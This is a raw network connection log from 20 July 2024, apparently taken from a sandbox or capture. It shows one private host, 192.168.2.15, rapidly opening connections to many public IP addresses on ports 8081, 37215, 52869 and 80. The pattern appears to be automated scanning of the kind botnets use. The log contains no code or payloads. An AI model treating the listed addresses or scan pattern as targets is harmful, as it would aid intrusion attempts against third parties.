Jul 20, 2024 23:10:39.641644955 CEST	53172	8081	192.168.2.15	177.201.145.33
Jul 20, 2024 23:10:39.641644955 CEST	53172	8081	192.168.2.15	177.201.145.33
Jul 20, 2024 23:10:39.642335892 CEST	52869	58808	8.28.61.99	192.168.2.15
Jul 20, 2024 23:10:39.642350912 CEST	37215	56962	157.50.118.84	192.168.2.15
Jul 20, 2024 23:10:39.642597914 CEST	56962	37215	192.168.2.15	157.50.118.84
Jul 20, 2024 23:10:39.643404961 CEST	8081	38118	177.243.162.95	192.168.2.15
Jul 20, 2024 23:10:39.643445969 CEST	38118	8081	192.168.2.15	177.243.162.95
Jul 20, 2024 23:10:39.644623995 CEST	54170	8081	192.168.2.15	177.201.145.33
Jul 20, 2024 23:10:39.644793034 CEST	59508	52869	192.168.2.15	8.28.61.99
Jul 20, 2024 23:10:39.646949053 CEST	42880	80	192.168.2.15	88.186.97.141
Jul 20, 2024 23:10:39.646949053 CEST	42880	80	192.168.2.15	88.186.97.141
Jul 20, 2024 23:10:39.647094011 CEST	8081	53172	177.201.145.33	192.168.2.15
Jul 20, 2024 23:10:39.647852898 CEST	52524	37215	192.168.2.15	140.238.108.223
Jul 20, 2024 23:10:39.649195910 CEST	52869	52370	113.59.43.68	192.168.2.15
Jul 20, 2024 23:10:39.650332928 CEST	46674	8081	192.168.2.15	104.81.53.73
Jul 20, 2024 23:10:39.650332928 CEST	46674	8081	192.168.2.15	104.81.53.73
Jul 20, 2024 23:10:39.651262999 CEST	8081	54170	177.201.145.33	192.168.2.15
Jul 20, 2024 23:10:39.651312113 CEST	54170	8081	192.168.2.15	177.201.145.33
Jul 20, 2024 23:10:39.652163982 CEST	52869	59508	8.28.61.99	192.168.2.15
Jul 20, 2024 23:10:39.652224064 CEST	59508	52869	192.168.2.15	8.28.61.99
Jul 20, 2024 23:10:39.653564930 CEST	43966	80	192.168.2.15	88.186.97.141
Jul 20, 2024 23:10:39.653755903 CEST	47672	8081	192.168.2.15	104.81.53.73
Jul 20, 2024 23:10:39.654316902 CEST	59330	52869	192.168.2.15	107.205.165.229
Jul 20, 2024 23:10:39.654316902 CEST	59330	52869	192.168.2.15	107.205.165.229
Jul 20, 2024 23:10:39.655395985 CEST	80	42880	88.186.97.141	192.168.2.15
Jul 20, 2024 23:10:39.655411959 CEST	8081	40766	98.6.153.169	192.168.2.15
Jul 20, 2024 23:10:39.655426025 CEST	37215	52524	140.238.108.223	192.168.2.15
Jul 20, 2024 23:10:39.655479908 CEST	52524	37215	192.168.2.15	140.238.108.223
Jul 20, 2024 23:10:39.655554056 CEST	8081	46674	104.81.53.73	192.168.2.15
Jul 20, 2024 23:10:39.656779051 CEST	40844	37215	192.168.2.15	170.219.73.31
Jul 20, 2024 23:10:39.658725977 CEST	80	43966	88.186.97.141	192.168.2.15
Jul 20, 2024 23:10:39.658803940 CEST	43966	80	192.168.2.15	88.186.97.141
Jul 20, 2024 23:10:39.658807039 CEST	51802	8081	192.168.2.15	73.161.3.148
Jul 20, 2024 23:10:39.658807039 CEST	51802	8081	192.168.2.15	73.161.3.148
Jul 20, 2024 23:10:39.661036015 CEST	8081	47672	104.81.53.73	192.168.2.15
Jul 20, 2024 23:10:39.661058903 CEST	52869	59330	107.205.165.229	192.168.2.15
Jul 20, 2024 23:10:39.661093950 CEST	47672	8081	192.168.2.15	104.81.53.73
Jul 20, 2024 23:10:39.662980080 CEST	52796	8081	192.168.2.15	73.161.3.148
Jul 20, 2024 23:10:39.663261890 CEST	60034	52869	192.168.2.15	107.205.165.229
Jul 20, 2024 23:10:39.663990974 CEST	8081	52554	117.195.60.70	192.168.2.15
Jul 20, 2024 23:10:39.664006948 CEST	80	59410	88.157.99.146	192.168.2.15
Jul 20, 2024 23:10:39.664020061 CEST	37215	40844	170.219.73.31	192.168.2.15
Jul 20, 2024 23:10:39.664057016 CEST	40844	37215	192.168.2.15	170.219.73.31
Jul 20, 2024 23:10:39.664464951 CEST	8081	51802	73.161.3.148	192.168.2.15
Jul 20, 2024 23:10:39.664510965 CEST	34594	80	192.168.2.15	88.224.24.248
Jul 20, 2024 23:10:39.664510965 CEST	34594	80	192.168.2.15	88.224.24.248
Jul 20, 2024 23:10:39.667937040 CEST	33164	8081	192.168.2.15	197.24.195.37
Jul 20, 2024 23:10:39.667937040 CEST	33164	8081	192.168.2.15	197.24.195.37
Jul 20, 2024 23:10:39.668610096 CEST	8081	52796	73.161.3.148	192.168.2.15
Jul 20, 2024 23:10:39.668633938 CEST	53176	37215	192.168.2.15	197.176.162.29
Jul 20, 2024 23:10:39.668658018 CEST	52796	8081	192.168.2.15	73.161.3.148
Jul 20, 2024 23:10:39.673048019 CEST	35686	80	192.168.2.15	88.224.24.248
Jul 20, 2024 23:10:39.673474073 CEST	34158	8081	192.168.2.15	197.24.195.37
Jul 20, 2024 23:10:39.674299955 CEST	55596	52869	192.168.2.15	185.59.206.11
Jul 20, 2024 23:10:39.674299955 CEST	55596	52869	192.168.2.15	185.59.206.11
Jul 20, 2024 23:10:39.675875902 CEST	80	56678	88.181.133.134	192.168.2.15
Jul 20, 2024 23:10:39.675947905 CEST	52869	37090	44.227.239.111	192.168.2.15
Jul 20, 2024 23:10:39.676068068 CEST	8081	42094	41.237.164.109	192.168.2.15
Jul 20, 2024 23:10:39.676081896 CEST	52869	60034	107.205.165.229	192.168.2.15
Jul 20, 2024 23:10:39.676117897 CEST	60034	52869	192.168.2.15	107.205.165.229
Jul 20, 2024 23:10:39.676285982 CEST	80	34594	88.224.24.248	192.168.2.15
Jul 20, 2024 23:10:39.678431034 CEST	8081	33164	197.24.195.37	192.168.2.15
Jul 20, 2024 23:10:39.678797007 CEST	37215	53176	197.176.162.29	192.168.2.15
Jul 20, 2024 23:10:39.678877115 CEST	53176	37215	192.168.2.15	197.176.162.29
Jul 20, 2024 23:10:39.679697037 CEST	41462	8081	192.168.2.15	126.247.185.111
Jul 20, 2024 23:10:39.679697037 CEST	41462	8081	192.168.2.15	126.247.185.111
Jul 20, 2024 23:10:39.680638075 CEST	37552	37215	192.168.2.15	41.74.238.245
Jul 20, 2024 23:10:39.682157040 CEST	42452	8081	192.168.2.15	126.247.185.111
Jul 20, 2024 23:10:39.682557106 CEST	56304	52869	192.168.2.15	185.59.206.11
Jul 20, 2024 23:10:39.683803082 CEST	48710	80	192.168.2.15	88.84.173.177
Jul 20, 2024 23:10:39.683803082 CEST	48710	80	192.168.2.15	88.84.173.177
Jul 20, 2024 23:10:39.684273005 CEST	8081	37116	177.243.162.95	192.168.2.15
Jul 20, 2024 23:10:39.684689999 CEST	80	35686	88.224.24.248	192.168.2.15
Jul 20, 2024 23:10:39.684739113 CEST	8081	34158	197.24.195.37	192.168.2.15
Jul 20, 2024 23:10:39.684752941 CEST	52869	55596	185.59.206.11	192.168.2.15
Jul 20, 2024 23:10:39.684787989 CEST	34158	8081	192.168.2.15	197.24.195.37
Jul 20, 2024 23:10:39.684879065 CEST	35686	80	192.168.2.15	88.224.24.248
Jul 20, 2024 23:10:39.685185909 CEST	52869	58808	8.28.61.99	192.168.2.15
Jul 20, 2024 23:10:39.685487986 CEST	8081	41462	126.247.185.111	192.168.2.15
Jul 20, 2024 23:10:39.685789108 CEST	36848	8081	192.168.2.15	218.197.253.52
Jul 20, 2024 23:10:39.685789108 CEST	36848	8081	192.168.2.15	218.197.253.52
Jul 20, 2024 23:10:39.686096907 CEST	37215	37552	41.74.238.245	192.168.2.15
Jul 20, 2024 23:10:39.686145067 CEST	37552	37215	192.168.2.15	41.74.238.245
Jul 20, 2024 23:10:39.687891006 CEST	8081	42452	126.247.185.111	192.168.2.15
Jul 20, 2024 23:10:39.687918901 CEST	52869	56304	185.59.206.11	192.168.2.15
Jul 20, 2024 23:10:39.687943935 CEST	42452	8081	192.168.2.15	126.247.185.111
Jul 20, 2024 23:10:39.688332081 CEST	56304	52869	192.168.2.15	185.59.206.11
Jul 20, 2024 23:10:39.688656092 CEST	42416	37215	192.168.2.15	67.53.114.65
Jul 20, 2024 23:10:39.689519882 CEST	80	48710	88.84.173.177	192.168.2.15
Jul 20, 2024 23:10:39.690463066 CEST	49806	80	192.168.2.15	88.84.173.177
Jul 20, 2024 23:10:39.690756083 CEST	37838	8081	192.168.2.15	218.197.253.52
Jul 20, 2024 23:10:39.690880060 CEST	8081	36848	218.197.253.52	192.168.2.15
Jul 20, 2024 23:10:39.691478014 CEST	59786	52869	192.168.2.15	73.203.24.52
Jul 20, 2024 23:10:39.691478014 CEST	59786	52869	192.168.2.15	73.203.24.52
Jul 20, 2024 23:10:39.693236113 CEST	8081	53172	177.201.145.33	192.168.2.15
Jul 20, 2024 23:10:39.694353104 CEST	80	42880	88.186.97.141	192.168.2.15
Jul 20, 2024 23:10:39.694715977 CEST	37215	42416	67.53.114.65	192.168.2.15
Jul 20, 2024 23:10:39.694766045 CEST	42416	37215	192.168.2.15	67.53.114.65
Jul 20, 2024 23:10:39.694909096 CEST	48200	8081	192.168.2.15	37.108.224.54
Jul 20, 2024 23:10:39.694909096 CEST	48200	8081	192.168.2.15	37.108.224.54
Jul 20, 2024 23:10:39.695841074 CEST	80	49806	88.84.173.177	192.168.2.15
Jul 20, 2024 23:10:39.695904970 CEST	49806	80	192.168.2.15	88.84.173.177
Jul 20, 2024 23:10:39.695920944 CEST	8081	37838	218.197.253.52	192.168.2.15
Jul 20, 2024 23:10:39.696183920 CEST	37838	8081	192.168.2.15	218.197.253.52
Jul 20, 2024 23:10:39.696280956 CEST	49186	8081	192.168.2.15	37.108.224.54
Jul 20, 2024 23:10:39.696403980 CEST	60498	52869	192.168.2.15	73.203.24.52
Jul 20, 2024 23:10:39.696515083 CEST	50210	37215	192.168.2.15	41.174.190.33
Jul 20, 2024 23:10:39.696955919 CEST	52869	59786	73.203.24.52	192.168.2.15
Jul 20, 2024 23:10:39.697956085 CEST	8081	46674	104.81.53.73	192.168.2.15
Jul 20, 2024 23:10:39.698693991 CEST	41578	80	192.168.2.15	88.184.141.13
Jul 20, 2024 23:10:39.698693991 CEST	41578	80	192.168.2.15	88.184.141.13
Jul 20, 2024 23:10:39.700535059 CEST	8081	48200	37.108.224.54	192.168.2.15
Jul 20, 2024 23:10:39.701231956 CEST	52869	59330	107.205.165.229	192.168.2.15
Jul 20, 2024 23:10:39.701663017 CEST	8081	49186	37.108.224.54	192.168.2.15
Jul 20, 2024 23:10:39.701711893 CEST	49186	8081	192.168.2.15	37.108.224.54
Jul 20, 2024 23:10:39.701822042 CEST	34590	8081	192.168.2.15	100.220.84.138
Jul 20, 2024 23:10:39.701822042 CEST	34590	8081	192.168.2.15	100.220.84.138
Jul 20, 2024 23:10:39.701931953 CEST	52869	60498	73.203.24.52	192.168.2.15
Jul 20, 2024 23:10:39.701982975 CEST	60498	52869	192.168.2.15	73.203.24.52
Jul 20, 2024 23:10:39.702111959 CEST	37215	50210	41.174.190.33	192.168.2.15
Jul 20, 2024 23:10:39.702184916 CEST	50210	37215	192.168.2.15	41.174.190.33
Jul 20, 2024 23:10:39.703907967 CEST	80	41578	88.184.141.13	192.168.2.15
Jul 20, 2024 23:10:39.706701994 CEST	42676	80	192.168.2.15	88.184.141.13
Jul 20, 2024 23:10:39.707314968 CEST	35576	8081	192.168.2.15	100.220.84.138
Jul 20, 2024 23:10:39.707917929 CEST	48646	52869	192.168.2.15	209.99.231.53
Jul 20, 2024 23:10:39.708101034 CEST	8081	34590	100.220.84.138	192.168.2.15
Jul 20, 2024 23:10:39.708364964 CEST	48646	52869	192.168.2.15	209.99.231.53
Jul 20, 2024 23:10:39.708364964 CEST	44088	37215	192.168.2.15	54.134.33.11
Jul 20, 2024 23:10:39.709507942 CEST	8081	51802	73.161.3.148	192.168.2.15
Jul 20, 2024 23:10:39.710200071 CEST	41660	80	192.168.2.15	88.103.233.76
Jul 20, 2024 23:10:39.710200071 CEST	41660	80	192.168.2.15	88.103.233.76
Jul 20, 2024 23:10:39.710465908 CEST	38932	8081	192.168.2.15	122.95.43.153
Jul 20, 2024 23:10:39.710465908 CEST	38932	8081	192.168.2.15	122.95.43.153
Jul 20, 2024 23:10:39.712654114 CEST	39914	8081	192.168.2.15	122.95.43.153
Jul 20, 2024 23:10:39.712690115 CEST	80	42676	88.184.141.13	192.168.2.15
Jul 20, 2024 23:10:39.712706089 CEST	8081	35576	100.220.84.138	192.168.2.15
Jul 20, 2024 23:10:39.712735891 CEST	42676	80	192.168.2.15	88.184.141.13
Jul 20, 2024 23:10:39.712745905 CEST	49362	52869	192.168.2.15	209.99.231.53
Jul 20, 2024 23:10:39.712754011 CEST	35576	8081	192.168.2.15	100.220.84.138
Jul 20, 2024 23:10:39.713277102 CEST	52869	48646	209.99.231.53	192.168.2.15
Jul 20, 2024 23:10:39.713805914 CEST	37215	44088	54.134.33.11	192.168.2.15
Jul 20, 2024 23:10:39.713857889 CEST	44088	37215	192.168.2.15	54.134.33.11
Jul 20, 2024 23:10:39.714448929 CEST	42760	80	192.168.2.15	88.103.233.76
Jul 20, 2024 23:10:39.715450048 CEST	37342	37215	192.168.2.15	157.86.230.135
Jul 20, 2024 23:10:39.715472937 CEST	80	41660	88.103.233.76	192.168.2.15
Jul 20, 2024 23:10:39.715560913 CEST	8081	38932	122.95.43.153	192.168.2.15
Jul 20, 2024 23:10:39.718508959 CEST	8081	39914	122.95.43.153	192.168.2.15
Jul 20, 2024 23:10:39.718533993 CEST	52869	49362	209.99.231.53	192.168.2.15
Jul 20, 2024 23:10:39.718561888 CEST	39914	8081	192.168.2.15	122.95.43.153
Jul 20, 2024 23:10:39.718580008 CEST	49362	52869	192.168.2.15	209.99.231.53
Jul 20, 2024 23:10:39.718770981 CEST	47548	8081	192.168.2.15	220.172.168.137
Jul 20, 2024 23:10:39.718770981 CEST	47548	8081	192.168.2.15	220.172.168.137
Jul 20, 2024 23:10:39.719780922 CEST	39830	80	192.168.2.15	88.160.95.128
Jul 20, 2024 23:10:39.719780922 CEST	39830	80	192.168.2.15	88.160.95.128
Jul 20, 2024 23:10:39.720360994 CEST	80	42760	88.103.233.76	192.168.2.15
Jul 20, 2024 23:10:39.720413923 CEST	42760	80	192.168.2.15	88.103.233.76
Jul 20, 2024 23:10:39.720740080 CEST	37215	37342	157.86.230.135	192.168.2.15
Jul 20, 2024 23:10:39.720798016 CEST	37342	37215	192.168.2.15	157.86.230.135
Jul 20, 2024 23:10:39.721229076 CEST	80	34594	88.224.24.248	192.168.2.15
Jul 20, 2024 23:10:39.721822977 CEST	8081	33164	197.24.195.37	192.168.2.15
Jul 20, 2024 23:10:39.723112106 CEST	48530	8081	192.168.2.15	220.172.168.137
Jul 20, 2024 23:10:39.723592043 CEST	57064	52869	192.168.2.15	194.217.196.209
Jul 20, 2024 23:10:39.723592043 CEST	57064	52869	192.168.2.15	194.217.196.209
Jul 20, 2024 23:10:39.724571943 CEST	8081	47548	220.172.168.137	192.168.2.15
Jul 20, 2024 23:10:39.724647045 CEST	40928	80	192.168.2.15	88.160.95.128
Jul 20, 2024 23:10:39.725481033 CEST	52869	55596	185.59.206.11	192.168.2.15
Jul 20, 2024 23:10:39.725665092 CEST	80	39830	88.160.95.128	192.168.2.15
Jul 20, 2024 23:10:39.726488113 CEST	45246	37215	192.168.2.15	47.62.169.96
Jul 20, 2024 23:10:39.727576971 CEST	38562	8081	192.168.2.15	72.232.56.222
Jul 20, 2024 23:10:39.727577925 CEST	38562	8081	192.168.2.15	72.232.56.222
Jul 20, 2024 23:10:39.728518963 CEST	8081	48530	220.172.168.137	192.168.2.15
Jul 20, 2024 23:10:39.728571892 CEST	48530	8081	192.168.2.15	220.172.168.137
Jul 20, 2024 23:10:39.729581118 CEST	52869	57064	194.217.196.209	192.168.2.15
Jul 20, 2024 23:10:39.729655027 CEST	51054	80	192.168.2.15	88.187.164.159
Jul 20, 2024 23:10:39.729655027 CEST	51054	80	192.168.2.15	88.187.164.159
Jul 20, 2024 23:10:39.729840994 CEST	80	40928	88.160.95.128	192.168.2.15
Jul 20, 2024 23:10:39.729878902 CEST	40928	80	192.168.2.15	88.160.95.128
Jul 20, 2024 23:10:39.730005980 CEST	39542	8081	192.168.2.15	72.232.56.222
Jul 20, 2024 23:10:39.730597019 CEST	57786	52869	192.168.2.15	194.217.196.209
Jul 20, 2024 23:10:39.732548952 CEST	37215	45246	47.62.169.96	192.168.2.15
Jul 20, 2024 23:10:39.732631922 CEST	45246	37215	192.168.2.15	47.62.169.96
Jul 20, 2024 23:10:39.733072042 CEST	8081	38562	72.232.56.222	192.168.2.15
Jul 20, 2024 23:10:39.733369112 CEST	80	48710	88.84.173.177	192.168.2.15
Jul 20, 2024 23:10:39.733381987 CEST	8081	41462	126.247.185.111	192.168.2.15
Jul 20, 2024 23:10:39.733393908 CEST	8081	36848	218.197.253.52	192.168.2.15
Jul 20, 2024 23:10:39.734226942 CEST	52152	80	192.168.2.15	88.187.164.159
Jul 20, 2024 23:10:39.734740019 CEST	42556	8081	192.168.2.15	112.36.161.183
Jul 20, 2024 23:10:39.734740019 CEST	42556	8081	192.168.2.15	112.36.161.183
Jul 20, 2024 23:10:39.735068083 CEST	48536	37215	192.168.2.15	197.213.153.141
Jul 20, 2024 23:10:39.735454082 CEST	80	51054	88.187.164.159	192.168.2.15
Jul 20, 2024 23:10:39.735490084 CEST	8081	39542	72.232.56.222	192.168.2.15
Jul 20, 2024 23:10:39.735531092 CEST	39542	8081	192.168.2.15	72.232.56.222
Jul 20, 2024 23:10:39.736102104 CEST	52869	57786	194.217.196.209	192.168.2.15
Jul 20, 2024 23:10:39.736146927 CEST	57786	52869	192.168.2.15	194.217.196.209
Jul 20, 2024 23:10:39.737277985 CEST	52869	59786	73.203.24.52	192.168.2.15
Jul 20, 2024 23:10:39.737337112 CEST	58660	80	192.168.2.15	88.168.180.193
Jul 20, 2024 23:10:39.737337112 CEST	58660	80	192.168.2.15	88.168.180.193
Jul 20, 2024 23:10:39.737582922 CEST	43536	8081	192.168.2.15	112.36.161.183
Jul 20, 2024 23:10:39.737734079 CEST	42446	52869	192.168.2.15	222.31.20.54
Jul 20, 2024 23:10:39.738028049 CEST	42446	52869	192.168.2.15	222.31.20.54
Jul 20, 2024 23:10:39.739789009 CEST	80	52152	88.187.164.159	192.168.2.15
Jul 20, 2024 23:10:39.739835978 CEST	52152	80	192.168.2.15	88.187.164.159
Jul 20, 2024 23:10:39.740026951 CEST	8081	42556	112.36.161.183	192.168.2.15
Jul 20, 2024 23:10:39.740412951 CEST	59756	80	192.168.2.15	88.168.180.193
Jul 20, 2024 23:10:39.740720987 CEST	33196	8081	192.168.2.15	105.84.133.237
Jul 20, 2024 23:10:39.740720987 CEST	33196	8081	192.168.2.15	105.84.133.237
Jul 20, 2024 23:10:39.740732908 CEST	37215	48536	197.213.153.141	192.168.2.15
Jul 20, 2024 23:10:39.740892887 CEST	48536	37215	192.168.2.15	197.213.153.141
Jul 20, 2024 23:10:39.741348028 CEST	8081	48200	37.108.224.54	192.168.2.15
Jul 20, 2024 23:10:39.741708040 CEST	48400	37215	192.168.2.15	41.211.198.240
Jul 20, 2024 23:10:39.742469072 CEST	80	58660	88.168.180.193	192.168.2.15
Jul 20, 2024 23:10:39.742744923 CEST	34174	8081	192.168.2.15	105.84.133.237
Jul 20, 2024 23:10:39.742894888 CEST	43174	52869	192.168.2.15	222.31.20.54
Jul 20, 2024 23:10:39.743103981 CEST	8081	43536	112.36.161.183	192.168.2.15
Jul 20, 2024 23:10:39.743199110 CEST	43536	8081	192.168.2.15	112.36.161.183
Jul 20, 2024 23:10:39.743233919 CEST	52869	42446	222.31.20.54	192.168.2.15
Jul 20, 2024 23:10:39.743499994 CEST	38284	80	192.168.2.15	88.220.255.177
Jul 20, 2024 23:10:39.743499994 CEST	38284	80	192.168.2.15	88.220.255.177
Jul 20, 2024 23:10:39.745843887 CEST	46420	8081	192.168.2.15	50.145.203.85
Jul 20, 2024 23:10:39.745843887 CEST	46420	8081	192.168.2.15	50.145.203.85
Jul 20, 2024 23:10:39.746392965 CEST	80	41578	88.184.141.13	192.168.2.15
Jul 20, 2024 23:10:39.746701002 CEST	39380	80	192.168.2.15	88.220.255.177
Jul 20, 2024 23:10:39.746902943 CEST	80	59756	88.168.180.193	192.168.2.15
Jul 20, 2024 23:10:39.746965885 CEST	59756	80	192.168.2.15	88.168.180.193
Jul 20, 2024 23:10:39.747036934 CEST	8081	33196	105.84.133.237	192.168.2.15
Jul 20, 2024 23:10:39.747849941 CEST	37215	48400	41.211.198.240	192.168.2.15
Jul 20, 2024 23:10:39.747904062 CEST	48400	37215	192.168.2.15	41.211.198.240
Jul 20, 2024 23:10:39.748131990 CEST	43508	37215	192.168.2.15	41.29.68.15
Jul 20, 2024 23:10:39.748467922 CEST	8081	34174	105.84.133.237	192.168.2.15
Jul 20, 2024 23:10:39.748509884 CEST	34174	8081	192.168.2.15	105.84.133.237
Jul 20, 2024 23:10:39.748577118 CEST	52869	43174	222.31.20.54	192.168.2.15
Jul 20, 2024 23:10:39.748636007 CEST	43174	52869	192.168.2.15	222.31.20.54
Jul 20, 2024 23:10:39.748898983 CEST	80	38284	88.220.255.177	192.168.2.15
Jul 20, 2024 23:10:39.749373913 CEST	42632	52869	192.168.2.15	102.181.59.60
Jul 20, 2024 23:10:39.749375105 CEST	42632	52869	192.168.2.15	102.181.59.60
Jul 20, 2024 23:10:39.749722004 CEST	47398	8081	192.168.2.15	50.145.203.85
Jul 20, 2024 23:10:39.750530958 CEST	50252	80	192.168.2.15	88.212.206.87
Jul 20, 2024 23:10:39.750531912 CEST	50252	80	192.168.2.15	88.212.206.87
Jul 20, 2024 23:10:39.751419067 CEST	46710	8081	192.168.2.15	57.7.150.109
Jul 20, 2024 23:10:39.751419067 CEST	46710	8081	192.168.2.15	57.7.150.109
Jul 20, 2024 23:10:39.752862930 CEST	51348	80	192.168.2.15	88.212.206.87
Jul 20, 2024 23:10:39.752985001 CEST	8081	46420	50.145.203.85	192.168.2.15
Jul 20, 2024 23:10:39.752999067 CEST	80	39380	88.220.255.177	192.168.2.15
Jul 20, 2024 23:10:39.753185987 CEST	8081	34590	100.220.84.138	192.168.2.15
Jul 20, 2024 23:10:39.753315926 CEST	39380	80	192.168.2.15	88.220.255.177
Jul 20, 2024 23:10:39.753585100 CEST	47686	8081	192.168.2.15	57.7.150.109
Jul 20, 2024 23:10:39.753879070 CEST	43364	52869	192.168.2.15	102.181.59.60
Jul 20, 2024 23:10:39.754184961 CEST	41764	37215	192.168.2.15	157.174.248.251
Jul 20, 2024 23:10:39.754309893 CEST	37215	43508	41.29.68.15	192.168.2.15
Jul 20, 2024 23:10:39.754369974 CEST	43508	37215	192.168.2.15	41.29.68.15
Jul 20, 2024 23:10:39.755443096 CEST	52869	42632	102.181.59.60	192.168.2.15
Jul 20, 2024 23:10:39.755549908 CEST	8081	47398	50.145.203.85	192.168.2.15
Jul 20, 2024 23:10:39.755604982 CEST	47398	8081	192.168.2.15	50.145.203.85
Jul 20, 2024 23:10:39.755827904 CEST	80	50252	88.212.206.87	192.168.2.15
Jul 20, 2024 23:10:39.756978035 CEST	52316	80	192.168.2.15	88.10.201.81
Jul 20, 2024 23:10:39.756978035 CEST	52316	80	192.168.2.15	88.10.201.81
Jul 20, 2024 23:10:39.757457972 CEST	45398	8081	192.168.2.15	191.229.1.158
Jul 20, 2024 23:10:39.757457972 CEST	45398	8081	192.168.2.15	191.229.1.158
Jul 20, 2024 23:10:39.757477045 CEST	8081	46710	57.7.150.109	192.168.2.15
Jul 20, 2024 23:10:39.758491039 CEST	80	51348	88.212.206.87	192.168.2.15
Jul 20, 2024 23:10:39.758543968 CEST	51348	80	192.168.2.15	88.212.206.87
Jul 20, 2024 23:10:39.759208918 CEST	8081	47686	57.7.150.109	192.168.2.15
Jul 20, 2024 23:10:39.759274006 CEST	47686	8081	192.168.2.15	57.7.150.109
Jul 20, 2024 23:10:39.759278059 CEST	52869	43364	102.181.59.60	192.168.2.15
Jul 20, 2024 23:10:39.759321928 CEST	43364	52869	192.168.2.15	102.181.59.60
Jul 20, 2024 23:10:39.759840965 CEST	37215	41764	157.174.248.251	192.168.2.15
Jul 20, 2024 23:10:39.759892941 CEST	41764	37215	192.168.2.15	157.174.248.251
Jul 20, 2024 23:10:39.759963036 CEST	53412	80	192.168.2.15	88.10.201.81
Jul 20, 2024 23:10:39.760483980 CEST	46374	8081	192.168.2.15	191.229.1.158
Jul 20, 2024 23:10:39.760924101 CEST	49320	52869	192.168.2.15	14.134.150.109
Jul 20, 2024 23:10:39.760924101 CEST	49320	52869	192.168.2.15	14.134.150.109
Jul 20, 2024 23:10:39.761022091 CEST	37088	37215	192.168.2.15	41.62.170.7
Jul 20, 2024 23:10:39.761207104 CEST	8081	38932	122.95.43.153	192.168.2.15
Jul 20, 2024 23:10:39.761224031 CEST	80	41660	88.103.233.76	192.168.2.15
Jul 20, 2024 23:10:39.761236906 CEST	52869	48646	209.99.231.53	192.168.2.15
Jul 20, 2024 23:10:39.762240887 CEST	80	52316	88.10.201.81	192.168.2.15
Jul 20, 2024 23:10:39.762535095 CEST	8081	45398	191.229.1.158	192.168.2.15
Jul 20, 2024 23:10:39.766163111 CEST	80	53412	88.10.201.81	192.168.2.15
Jul 20, 2024 23:10:39.766211033 CEST	53412	80	192.168.2.15	88.10.201.81
Jul 20, 2024 23:10:39.766259909 CEST	8081	46374	191.229.1.158	192.168.2.15
Jul 20, 2024 23:10:39.766273975 CEST	52869	49320	14.134.150.109	192.168.2.15
Jul 20, 2024 23:10:39.766299963 CEST	46374	8081	192.168.2.15	191.229.1.158
Jul 20, 2024 23:10:39.766613007 CEST	52816	80	192.168.2.15	88.221.243.227
Jul 20, 2024 23:10:39.766613007 CEST	52816	80	192.168.2.15	88.221.243.227
Jul 20, 2024 23:10:39.766720057 CEST	60896	8081	192.168.2.15	170.239.24.67
Jul 20, 2024 23:10:39.766720057 CEST	60896	8081	192.168.2.15	170.239.24.67
Jul 20, 2024 23:10:39.766818047 CEST	37215	37088	41.62.170.7	192.168.2.15
Jul 20, 2024 23:10:39.766870022 CEST	37088	37215	192.168.2.15	41.62.170.7
Jul 20, 2024 23:10:39.769543886 CEST	8081	47548	220.172.168.137	192.168.2.15
Jul 20, 2024 23:10:39.769717932 CEST	80	39830	88.160.95.128	192.168.2.15
Jul 20, 2024 23:10:39.769794941 CEST	33636	8081	192.168.2.15	170.239.24.67
Jul 20, 2024 23:10:39.769932032 CEST	50042	52869	192.168.2.15	14.134.150.109
Jul 20, 2024 23:10:39.771831036 CEST	53914	80	192.168.2.15	88.221.243.227
Jul 20, 2024 23:10:39.774091959 CEST	50750	37215	192.168.2.15	157.155.184.46
Jul 20, 2024 23:10:39.776421070 CEST	80	52816	88.221.243.227	192.168.2.15
Jul 20, 2024 23:10:39.776437044 CEST	8081	60896	170.239.24.67	192.168.2.15
Jul 20, 2024 23:10:39.776451111 CEST	8081	33636	170.239.24.67	192.168.2.15
Jul 20, 2024 23:10:39.776504993 CEST	33636	8081	192.168.2.15	170.239.24.67
Jul 20, 2024 23:10:39.776521921 CEST	52869	50042	14.134.150.109	192.168.2.15
Jul 20, 2024 23:10:39.776571989 CEST	50042	52869	192.168.2.15	14.134.150.109
Jul 20, 2024 23:10:39.776876926 CEST	35570	8081	192.168.2.15	206.153.77.196
Jul 20, 2024 23:10:39.776876926 CEST	35570	8081	192.168.2.15	206.153.77.196
Jul 20, 2024 23:10:39.777194977 CEST	52869	57064	194.217.196.209	192.168.2.15
Jul 20, 2024 23:10:39.777220011 CEST	80	51054	88.187.164.159	192.168.2.15
Jul 20, 2024 23:10:39.777234077 CEST	8081	38562	72.232.56.222	192.168.2.15
Jul 20, 2024 23:10:39.777596951 CEST	80	52816	88.221.243.227	192.168.2.15
Jul 20, 2024 23:10:39.777647972 CEST	52816	80	192.168.2.15	88.221.243.227
Jul 20, 2024 23:10:39.777901888 CEST	80	53914	88.221.243.227	192.168.2.15
Jul 20, 2024 23:10:39.777951956 CEST	53914	80	192.168.2.15	88.221.243.227
Jul 20, 2024 23:10:39.778326988 CEST	54460	80	192.168.2.15	88.62.42.254
Jul 20, 2024 23:10:39.778326988 CEST	54460	80	192.168.2.15	88.62.42.254
Jul 20, 2024 23:10:39.780782938 CEST	37215	50750	157.155.184.46	192.168.2.15
Jul 20, 2024 23:10:39.780838013 CEST	50750	37215	192.168.2.15	157.155.184.46
Jul 20, 2024 23:10:39.781639099 CEST	8081	42556	112.36.161.183	192.168.2.15
Jul 20, 2024 23:10:39.781925917 CEST	8081	35570	206.153.77.196	192.168.2.15
Jul 20, 2024 23:10:39.782655001 CEST	36542	8081	192.168.2.15	206.153.77.196
Jul 20, 2024 23:10:39.783023119 CEST	40676	52869	192.168.2.15	217.115.151.81
Jul 20, 2024 23:10:39.783023119 CEST	40676	52869	192.168.2.15	217.115.151.81
Jul 20, 2024 23:10:39.783354044 CEST	80	54460	88.62.42.254	192.168.2.15
Jul 20, 2024 23:10:39.784024000 CEST	55556	80	192.168.2.15	88.62.42.254
Jul 20, 2024 23:10:39.784888983 CEST	52806	37215	192.168.2.15	157.236.94.127
Jul 20, 2024 23:10:39.786817074 CEST	37738	8081	192.168.2.15	18.172.107.182
Jul 20, 2024 23:10:39.786818027 CEST	37738	8081	192.168.2.15	18.172.107.182
Jul 20, 2024 23:10:39.787978888 CEST	8081	36542	206.153.77.196	192.168.2.15
Jul 20, 2024 23:10:39.788068056 CEST	48638	80	192.168.2.15	88.232.161.110
Jul 20, 2024 23:10:39.788068056 CEST	48638	80	192.168.2.15	88.232.161.110
Jul 20, 2024 23:10:39.788080931 CEST	36542	8081	192.168.2.15	206.153.77.196
Jul 20, 2024 23:10:39.788522005 CEST	38708	8081	192.168.2.15	18.172.107.182
